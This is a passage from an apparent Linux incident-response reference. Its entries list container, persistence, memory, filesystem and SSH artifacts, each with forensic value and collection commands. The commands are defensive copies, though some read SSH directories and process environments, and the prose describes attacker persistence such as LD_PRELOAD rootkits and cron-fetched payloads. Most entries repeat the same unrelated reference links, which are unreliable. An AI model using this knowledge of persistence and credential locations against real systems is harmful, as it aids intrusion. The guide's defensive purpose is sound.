OverlayFS storage driver](https://docs.docker.com/engine/storage/drivers/overlayfs-driver/) - [Docker JSON file logging driver](https://docs.docker.com/engine/logging/drivers/json-file/) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Container runtime state changes quickly; collect host-side Docker artifacts before garbage collection, restart, or image cleanup removes them. - Overlay and log evidence explains runtime behavior but still needs correlation with orchestrator or cloud-control-plane events in clustered environments. ### Docker JSON-File Container Logs **Location:** `/var/lib/docker/containers//-json.log` Default Docker container log files written by the json-file logging driver. Stores stdout and stderr records emitted by the container process with timestamps and stream metadata. **Forensic Value:** These host-side logs often preserve exploitation traces, runtime errors, shell output, data-transfer evidence, and staging activity even after an attacker deletes application-level logs inside the container. Because the logs exist on the host, they remain available when an attacker only cleans the container filesystem. **Tools:** find, cp, jq, docker logs **Technologies:** Docker **Collection Commands:** - **find:** `find /var/lib/docker/containers -name "*-json.log" -exec cp --parents {} /forensics/output/ \;` - **tar:** `tar czf /forensics/output/docker_json_logs.tar.gz /var/lib/docker/containers/` - **docker:** `for cid in $(docker ps -aq); do docker logs "$cid" > "/forensics/output/docker_logs_${cid}.txt" 2>&1; done` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) - [Docker JSON file logging driver](https://docs.docker.com/engine/logging/drivers/json-file/) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - JSON-file logs exist only when that log driver was enabled and the host has not already rotated or deleted the files. - Logs capture stdout and stderr, not every filesystem or network side effect of the container workload. ### containerd Runtime State and Snapshots **Location:** `/var/lib/containerd/, /run/containerd/, /etc/containerd/config.toml, and ctr/crictl metadata` containerd runtime artifacts including namespaces, containers, tasks, snapshots, content-store metadata, runtime sockets, and configuration. Common on Kubernetes nodes and modern container hosts even when Docker is not installed. **Forensic Value:** containerd state is essential on current Kubernetes nodes because it records which images, snapshots, and tasks existed even when attacker workloads were short-lived. It helps prove which containers ran, what image digests were used, whether privileged workloads executed, and where writable snapshot data may still hold attacker tooling or exfiltration traces. **Tools:** ctr, crictl, cp, tar **Technologies:** containerd **Collection Commands:** - **ctr:** `ctr -n k8s.io containers ls > /forensics/output/containerd_containers.txt` - **ctr:** `ctr -n k8s.io snapshots ls > /forensics/output/containerd_snapshots.txt` - **cp:** `cp /etc/containerd/config.toml /forensics/output/containerd_config.toml 2>/dev/null` - **tar:** `tar czf /forensics/output/containerd_state.tar.gz /var/lib/containerd /run/containerd 2>/dev/null` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) - [containerd documentation](https://containerd.io/docs/) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - containerd state is technically dense and can be truncated quickly by garbage collection or node reboots. - Runtime state alone should be paired with audit, kubelet, or workload logs to reconstruct operator actions clearly. ### Kubelet, Pod, and Container Runtime Logs **Location:** `journalctl -u kubelet, /var/log/pods/, /var/log/containers/, and CRI runtime metadata` Node-level Kubernetes evidence including kubelet service logs, pod and container log symlinks, runtime log files, and event traces for workloads scheduled on the node. **Forensic Value:** Kubelet and pod logs show how attacker workloads behaved after they reached a node. They reveal crash loops, repeated exec attempts, pulled images, container restarts, privilege errors, and stdout/stderr output that may not survive application cleanup inside the container. **Tools:** journalctl, tar, kubectl, crictl **Technologies:** Kubernetes **Collection Commands:** - **journalctl:** `journalctl -u kubelet --since "2026-03-01" > /forensics/output/kubelet_journal.txt` - **tar:** `tar czf /forensics/output/kubernetes_pod_logs.tar.gz /var/log/pods /var/log/containers 2>/dev/null` - **crictl:** `crictl ps -a > /forensics/output/crictl_ps.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) - [System logs and Kubernetes logging](https://kubernetes.io/docs/concepts/cluster-administration/logging/) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Centralized log copies may normalize, truncate, or drop fields relative to the original on-host artifact. Preserve the local source when scope and access permit. - Node and pod logs can rotate quickly on busy clusters or after attacker cleanup, so early export matters. - These logs are workload-scoped and must be correlated with API audit or control-plane evidence for full attribution. ## Persistence Mechanisms ### Cron Jobs **Location:** `/etc/crontab, /etc/cron.d/*, /var/spool/cron/crontabs/` Scheduled task definitions across system-wide crontab, the cron.d drop-in directory, and per-user crontabs. Each entry specifies a schedule, user context, and command to execute. **Forensic Value:** Cron is the most common Linux persistence mechanism. Attacker cron entries typically download and execute payloads from external URLs, restart reverse shells at intervals, or run cryptominers. Checking /var/spool/cron/crontabs/ for all users reveals per-user entries that do not appear in the system-wide crontab. File modification timestamps on cron files help establish when persistence was installed. **Tools:** cat, find, ls -la, crontab -l, aureport **Collection Commands:** - **tar:** `tar czf /forensics/output/cron_all.tar.gz /etc/crontab /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ /var/spool/cron/` - **find:** `find /var/spool/cron/crontabs/ -type f -exec cat {} \; > /forensics/output/user_crontabs.txt` - **cat:** `cat /etc/crontab /etc/cron.d/* > /forensics/output/system_crontabs.txt` - **find:** `find /etc/cron.d /var/spool/cron -type f -newer /etc/os-release -ls > /forensics/output/recently_modified_cron.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### Systemd Service Files **Location:** `/etc/systemd/system/, /usr/lib/systemd/system/, ~/.config/systemd/user/` Systemd unit files defining services, their ExecStart commands, restart policies, dependencies, and user contexts. Custom units can be placed in /etc/systemd/system/ to override or extend defaults. **Forensic Value:** Malicious systemd services provide robust persistence that survives reboots and automatic restarts on failure. The ExecStart directive reveals the exact binary and arguments executed. Services set to Restart=always will respawn even if killed. Checking for recently created .service files in /etc/systemd/system/ with unusual ExecStart paths (e.g., /tmp, /dev/shm, or hidden directories) identifies attacker persistence. **Tools:** systemctl list-units, find, cat, journalctl -u **Collection Commands:** - **tar:** `tar czf /forensics/output/systemd_units.tar.gz /etc/systemd/system/ /usr/lib/systemd/system/` - **find:** `find /etc/systemd/system/ -name "*.service" -mtime -30 -exec ls -la {} \; > /forensics/output/recent_services.txt` - **grep:** `grep -rn "ExecStart" /etc/systemd/system/*.service > /forensics/output/service_execstart.txt` - **find:** `find /home -path "*/.config/systemd/user/*.service" -exec cp --parents {} /forensics/output/ \;` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### SSH authorized_keys **Location:** `/home//.ssh/authorized_keys and /root/.ssh/authorized_keys` Per-user files listing public keys authorized for SSH key-based authentication. Each entry contains the key type, public key material, and an optional comment field. **Forensic Value:** Adding a public key to authorized_keys is a common persistence technique that allows the attacker to return via SSH without a password, bypassing credential rotation. Comparing key fingerprints against known-good keys identifies attacker-added keys. The comment field may contain attacker-identifiable information. Also check for forced-command entries that execute specific binaries on connection, which can serve as hidden backdoors. **Tools:** cat, ssh-keygen -l, find, diff **Collection Commands:** - **find:** `find /home /root -name "authorized_keys" -exec cp --parents {} /forensics/output/ \;` - **find:** `find /home /root -name "authorized_keys" -exec ssh-keygen -l -f {} \; > /forensics/output/key_fingerprints.txt` - **tar:** `tar czf /forensics/output/ssh_dirs.tar.gz /home/*/.ssh/ /root/.ssh/` - **stat:** `find /home /root -name "authorized_keys" -exec stat {} \; > /forensics/output/authkeys_timestamps.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### LD_PRELOAD & Shared Library Hijacking **Location:** `/etc/ld.so.preload, /etc/ld.so.conf, /etc/ld.so.conf.d/*, LD_PRELOAD environment variable` Dynamic linker configuration files controlling shared library loading order. /etc/ld.so.preload forces a library to load before all others in every dynamically-linked process. LD_PRELOAD environment variable achieves the same per-process. **Forensic Value:** LD_PRELOAD hijacking (MITRE T1574.006) is a userland rootkit technique that injects malicious shared libraries into every process. /etc/ld.so.preload is almost never legitimately used and any entry is a strong compromise indicator. The injected library can hook system calls to hide files, processes, and network connections without kernel modification. Checking both the file and environment variables of running processes (/proc//environ) is necessary for complete detection. **Tools:** cat, ldd, strings, strace, Volatility 3, find **Collection Commands:** - **cat:** `cat /etc/ld.so.preload /etc/ld.so.conf > /forensics/output/ld_config.txt` - **find:** `find /proc -maxdepth 2 -name "environ" -exec sh -c 'grep -l LD_PRELOAD {} 2>/dev/null && echo {}' \; > /forensics/output/ld_preload_procs.txt` - **tar:** `tar czf /forensics/output/ld_conf.tar.gz /etc/ld.so.conf /etc/ld.so.conf.d/ /etc/ld.so.preload` - **strings:** `strings /etc/ld.so.preload > /forensics/output/ld_preload_strings.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Live-state evidence is volatile. Collect it before reboot, containment, or power loss whenever legal and operational constraints allow. ### at Jobs & Anacron Scheduled Tasks **Location:** `/var/spool/at/, /var/spool/cron/atjobs/, /etc/anacrontab, /var/spool/anacron/` One-time scheduled execution via at command (jobs stored in /var/spool/at/) and periodic task scheduling via anacron for systems that are not continuously running. at jobs execute once at a specified time and are deleted after execution. **Forensic Value:** at jobs provide one-time delayed execution that attackers use for time-delayed payload deployment and deferred persistence activation. Unlike cron, at jobs execute once and are automatically removed, making them harder to detect. Checking /var/spool/at/ for pending jobs reveals scheduled attacks not yet executed. Anacron jobs in /etc/anacrontab execute periodic tasks that catch up after system downtime, providing another persistence avenue. Both are often overlooked during cron-focused persistence sweeps. **Tools:** atq, at -c, cat, find, ls -la **Collection Commands:** - **tar:** `tar czf /forensics/output/at_jobs.tar.gz /var/spool/at/ /var/spool/cron/atjobs/` - **atq:** `atq > /forensics/output/pending_at_jobs.txt` - **find:** `find /var/spool/at/ -type f -exec cat {} \; > /forensics/output/at_job_contents.txt` - **cat:** `cat /etc/anacrontab > /forensics/output/anacrontab.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### Init Scripts & RC Local **Location:** `/etc/rc.local, /etc/init.d/*, /etc/rc*.d/*, /etc/local.d/ (Alpine)` Legacy System V init scripts and the rc.local file that execute commands at system boot. While systemd has largely replaced SysVinit, rc.local compatibility is maintained on many distributions and init.d scripts remain functional. **Forensic Value:** rc.local executes as root at boot and is a straightforward persistence mechanism that attackers use because it requires only appending a line to an existing file. Init.d scripts in /etc/init.d/ with symlinks in /etc/rc*.d/ define service start/stop behavior at different runlevels. Newly created or recently modified init scripts indicate persistence installation. File modification timestamps and comparison with package-managed originals identify unauthorized changes. **Tools:** cat, find, ls -la, stat, diff, debsums **Collection Commands:** - **cp:** `cp /etc/rc.local /forensics/output/rc.local` - **tar:** `tar czf /forensics/output/init_scripts.tar.gz /etc/init.d/ /etc/rc.local /etc/rc*.d/` - **find:** `find /etc/init.d/ -type f -mtime -30 -exec ls -la {} \; > /forensics/output/recent_init_scripts.txt` - **stat:** `stat /etc/rc.local /etc/init.d/* > /forensics/output/init_timestamps.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### Systemd Timer Units **Location:** `/etc/systemd/system/*.timer, /usr/lib/systemd/system/*.timer, and ~/.config/systemd/user/*.timer` **Also Known As:** .timer units, systemctl list-timers Systemd timer unit files that schedule one-shot or recurring execution of services. Timers can replace cron by triggering a paired .service on boot, after a delay, or on a calendar schedule. **Forensic Value:** Timers are a common modern persistence mechanism on systemd-based distributions because they blend into legitimate service management and can survive package upgrades or config management changes. The unit contents reveal the exact trigger cadence, the service they activate, and whether missed runs are replayed after downtime. Comparing timer files with recent service creation and journal events can expose delayed payload execution, miner restarts, or attacker-installed maintenance jobs that cron-only reviews would miss. **Tools:** systemctl, find, cat, journalctl **Collection Commands:** - **systemctl:** `systemctl list-timers --all > /forensics/output/systemd_timers.txt` - **find:** `find /etc/systemd/system /usr/lib/systemd/system /home/*/.config/systemd/user -name "*.timer" -exec cp --parents {} /forensics/output/ \; 2>/dev/null` - **journalctl:** `journalctl --unit="*.timer" --since "2024-01-01" > /forensics/output/systemd_timer_journal.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Timer units are primarily relevant on systemd-based systems. Service names, drop-ins, and user-level timers vary by distribution and user profile. ## Memory & Live State ### /proc Filesystem (Live Process Data) **Location:** `/proc// (cmdline, exe, fd/, maps, environ, net/)` Virtual filesystem exposing live kernel and process state including command-line arguments, executable path symlink, open file descriptors, memory maps, environment variables, and network connection tables. **Forensic Value:** /proc is essential for live triage when a memory dump is not feasible. /proc//exe reveals the true binary path even if the process renamed itself. /proc//cmdline shows launch arguments. /proc//fd/ exposes deleted-but-open files that can still be recovered via cp. /proc/net/tcp provides a live network connection table with owning process inode mapping for identifying C2 connections. **Tools:** cat, ls -la, lsof, find, cp **Collection Commands:** - **find:** `find /proc -maxdepth 2 -name "cmdline" -exec sh -c 'echo "PID: $(dirname {} | xargs basename)"; cat {}; echo' \; > /forensics/output/proc_cmdlines.txt` - **ls:** `ls -la /proc/*/exe 2>/dev/null > /forensics/output/proc_exe_links.txt` - **cat:** `cat /proc/net/tcp /proc/net/tcp6 > /forensics/output/proc_net_tcp.txt` - **lsof:** `lsof -nP > /forensics/output/lsof_full.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Live-state evidence is volatile. Collect it before reboot, containment, or power loss whenever legal and operational constraints allow. ### Active Network Connections & Listening Ports **Location:** `/proc/net/tcp, /proc/net/tcp6, /proc/net/udp (or ss/netstat output)` Live network socket state from the kernel including all established TCP connections, listening ports, UDP sockets, and UNIX domain sockets with owning process information. **Forensic Value:** Enumerating active connections during live triage identifies active C2 channels, reverse shells, and unauthorized listeners. Correlating listening ports with their owning processes (via ss -tlnp or lsof -i) exposes backdoor services running on non-standard ports. Unexpected outbound connections to foreign IP addresses on ports 443, 8443, or 8080 warrant immediate investigation for beaconing behavior. **Tools:** ss, netstat, lsof -i, cat /proc/net/tcp **Collection Commands:** - **ss:** `ss -tulnpa > /forensics/output/ss_all_connections.txt` - **netstat:** `netstat -tulnpa > /forensics/output/netstat_connections.txt` - **lsof:** `lsof -i -nP > /forensics/output/lsof_network.txt` - **cat:** `cat /proc/net/tcp /proc/net/tcp6 /proc/net/udp /proc/net/udp6 > /forensics/output/proc_net_sockets.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Live-state evidence is volatile. Collect it before reboot, containment, or power loss whenever legal and operational constraints allow. ### Linux Memory Dump (RAM Capture) **Location:** `Acquired via LiME, /dev/mem, /dev/fmem, or /proc/kcore` Complete physical memory capture of a running Linux system including all process memory, kernel structures, network connection state, loaded kernel modules, and filesystem cache contents. **Forensic Value:** Linux memory analysis is essential for detecting rootkits that hide from disk-based tools. Volatility Linux profiles can enumerate hidden processes, detect kernel module rootkits, recover bash command history from process memory, extract network connections and credentials, and identify injected code in process address spaces. The filesystem cache in memory may contain recently accessed file content that provides additional context. **Tools:** LiME (Linux Memory Extractor), Volatility 3, Rekall, AVML (Microsoft) **Collection Commands:** - **LiME:** `insmod lime.ko "path=/forensics/output/memory.lime format=lime"` - **AVML:** `avml /forensics/output/memory.raw` - **volatility3:** `vol -f /forensics/output/memory.lime linux.pslist > /forensics/output/vol_pslist.txt` - **volatility3:** `vol -f /forensics/output/memory.lime linux.bash > /forensics/output/vol_bash_history.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Live-state evidence is volatile. Collect it before reboot, containment, or power loss whenever legal and operational constraints allow. ### Kernel Modules & dmesg Buffer **Location:** `/lib/modules/$(uname -r)/, /proc/modules, /var/log/dmesg, dmesg command output` Loaded kernel module listing from /proc/modules or lsmod, kernel module files on disk, and the kernel ring buffer (dmesg) recording module load/unload events, hardware events, and kernel messages since last boot. **Forensic Value:** Kernel module analysis detects loadable kernel module (LKM) rootkits that intercept system calls to hide processes, files, and network connections. Comparing loaded modules (lsmod) against expected modules identifies suspicious kernel extensions. The dmesg buffer records module load events with timestamps. Unsigned or out-of-tree modules in non-standard paths are strong indicators of rootkit installation. Memory analysis may reveal hidden modules not visible via lsmod. **Tools:** lsmod, modinfo, dmesg, Volatility 3, chkrootkit, rkhunter **Collection Commands:** - **lsmod:** `lsmod > /forensics/output/loaded_modules.txt` - **dmesg:** `dmesg -T > /forensics/output/dmesg_output.txt` - **find:** `find /lib/modules/$(uname -r) -name "*.ko" -exec modinfo {} \; > /forensics/output/module_info.txt` - **cat:** `cat /proc/modules > /forensics/output/proc_modules.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Live-state evidence is volatile. Collect it before reboot, containment, or power loss whenever legal and operational constraints allow. ### Process Core Dumps **Location:** `/var/lib/systemd/coredump/, /var/crash/, or core pattern path from /proc/sys/kernel/core_pattern` Process memory dumps written when a process crashes due to a signal (SIGSEGV, SIGABRT). Contains the complete process address space at crash time including stack, heap, mapped libraries, and register state. **Forensic Value:** Core dumps capture process memory at crash time, which often corresponds to an exploitation attempt. The memory image may contain exploit payloads, shellcode, decrypted data, credentials in memory, and the specific input that triggered the crash. For services that crashed during exploitation, the core dump preserves the attack payload for analysis. Core dump analysis with gdb can reveal the vulnerability exploited and the attacker technique used. **Tools:** gdb, coredumpctl, strings, objdump, Volatility 3 **Collection Commands:** - **coredumpctl:** `coredumpctl list > /forensics/output/coredump_list.txt` - **find:** `find /var/lib/systemd/coredump /var/crash -type f -exec cp {} /forensics/output/ \;` - **coredumpctl:** `coredumpctl dump --output=/forensics/output/latest_core.dump` - **strings:** `strings /var/lib/systemd/coredump/*.zst > /forensics/output/coredump_strings.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. - Live-state evidence is volatile. Collect it before reboot, containment, or power loss whenever legal and operational constraints allow. ## Filesystem & Timeline ### /tmp and /dev/shm Suspicious Files **Location:** `/tmp/, /var/tmp/, /dev/shm/` World-writable temporary directories commonly used by attackers to stage tools, write exploit payloads, and store exfiltration archives. /dev/shm is a RAM-backed tmpfs that does not persist across reboots. **Forensic Value:** Attackers default to /tmp and /dev/shm because these directories are world-writable and often excluded from file integrity monitoring. Finding ELF binaries, shell scripts, encoded payloads, or archive files (tar.gz, zip) in these locations is a strong compromise indicator. Files in /dev/shm are stored in RAM and will be lost on reboot, making live collection critical. Modification timestamps and file ownership link artifacts to specific accounts and timeframes. **Tools:** find, ls -la, file, strings, stat, lsof **Collection Commands:** - **find:** `find /tmp /var/tmp /dev/shm -type f -exec file {} \; > /forensics/output/tmp_file_types.txt` - **tar:** `tar czf /forensics/output/tmp_contents.tar.gz /tmp/ /var/tmp/ /dev/shm/` - **find:** `find /tmp /var/tmp /dev/shm -type f -executable -ls > /forensics/output/tmp_executables.txt` - **stat:** `find /tmp /var/tmp /dev/shm -type f -exec stat --format="%n %U %G %y %s" {} \; > /forensics/output/tmp_metadata.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### EXT4 Journal & Inode Timestamps **Location:** `Filesystem journal (internal to EXT4 partition) and inode metadata via stat/debugfs` EXT4 filesystem journal recording metadata transactions for crash recovery, and inode timestamps including crtime (creation/birth time), mtime (modification), atime (access), and ctime (metadata change) with nanosecond precision. **Forensic Value:** The EXT4 journal enables recovery of recently deleted file metadata including filenames, sizes, and timestamps. The crtime (birth time) is immune to manipulation via the touch command (which only modifies mtime/atime/ctime), making it reliable for determining when a file was truly created. Comparing crtime against mtime detects timestomping attempts. Journal replay using debugfs can recover inode data for deleted files within the journal window. **Tools:** debugfs, stat, extundelete, Sleuth Kit (istat, fls), Autopsy **Collection Commands:** - **stat:** `find /home /tmp /var -type f -exec stat --format="%n|%w|%y|%z|%x" {} \; > /forensics/output/inode_timestamps.txt` - **debugfs:** `debugfs -R "logdump -a" /dev/sda1 > /forensics/output/ext4_journal.txt` - **find:** `find / -newerct "2024-01-01" -not -newerct "2024-12-31" -ls > /forensics/output/files_created_in_range.txt` - **fls:** `fls -r -m "/" /dev/sda1 > /forensics/output/fls_timeline.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ## User Activity ### SSH known_hosts & Client Config **Location:** `/home//.ssh/known_hosts, /home//.ssh/config, /etc/ssh/ssh_config` SSH client-side artifacts including known_hosts (recording host keys of every SSH server the user connected to), client config files (defining connection aliases, proxy commands, and identity files), and potentially SSH agent socket paths. **Forensic Value:** The known_hosts file maps every SSH server a user has connected to, revealing lateral movement targets and external infrastructure. Hashed entries can be tested against known hosts using ssh-keygen -F. The SSH config file may reveal attacker-configured proxy jumps, tunnels, or custom identity key paths used for pivoting. Combined with auth.log entries on destination systems, known_hosts reconstructs the complete SSH lateral movement graph. **Tools:** cat, ssh-keygen -lF, grep, find **Collection Commands:** - **find:** `find /home /root -name "known_hosts" -exec cp --parents {} /forensics/output/ \;` - **find:** `find /home /root -name "config" -path "*/.ssh/*" -exec cp --parents {} /forensics/output/ \;` - **cat:** `cat /etc/ssh/ssh_config /etc/ssh/sshd_config > /forensics/output/system_ssh_config.txt` - **grep:** `grep -rn "ProxyJump\|ProxyCommand\|LocalForward\|RemoteForward" /home/*/.ssh/config > /forensics/output/ssh_tunnels.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection Constraints:** - Paths and log sources vary by distribution, init system, logging stack, and installed packages. Validate the active distro and service set before treating absence as meaningful. ### Desktop Trash & Recently Used Files **Location:** `/home//.local/share/Trash/ and /home//.local/share/recently-used.xbel` FreeDesktop trash directory containing deleted files (files/) and their metadata (info/ with .trashinfo files recording original path and deletion timestamp). Recently-used.xbel is an XML file tracking recently accessed files with timestamps and MIME types. **Forensic Value:** The desktop Trash directory preserves deleted files and their original paths with deletion timestamps, similar to the Windows Recycle Bin. Users deleting sensitive files through the GUI leave recoverable copies here. The recently-used.xbel file provides a timeline of file access through desktop applications with full file paths and timestamps, useful for reconstructing user activity on systems with graphical desktop environments. **Tools:** cat, find, grep, Autopsy, xmllint **Collection Commands:** - **find:** `find /home -path "*/.local/share/Trash" -exec tar czf /forensics/output/trash_dirs.tar.gz {} +` - **find:** `find /home -name "recently-used.xbel" -exec cp --parents {} /forensics/output/ \;` - **cat:** `cat /home/*/.local/share/Trash/info/*.trashinfo > /forensics/output/trash_metadata.txt` - **grep:** `grep -h "DeletionDate\|Path" /home/*/.local/share/Trash/info/*.trashinfo > /forensics/output/trash_summary.txt` **Official References:** - [systemd.timer Manual](https://www.freedesktop.org/software/systemd/man/latest/systemd.timer.html) - [NetworkManager Keyfile Format](https://networkmanager.pages.freedesktop.org/NetworkManager/NetworkManager/nm-settings-keyfile.html) - [sshd_config Manual](https://man.openbsd.org/sshd_config) - [systemd-resolved Service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) **Collection 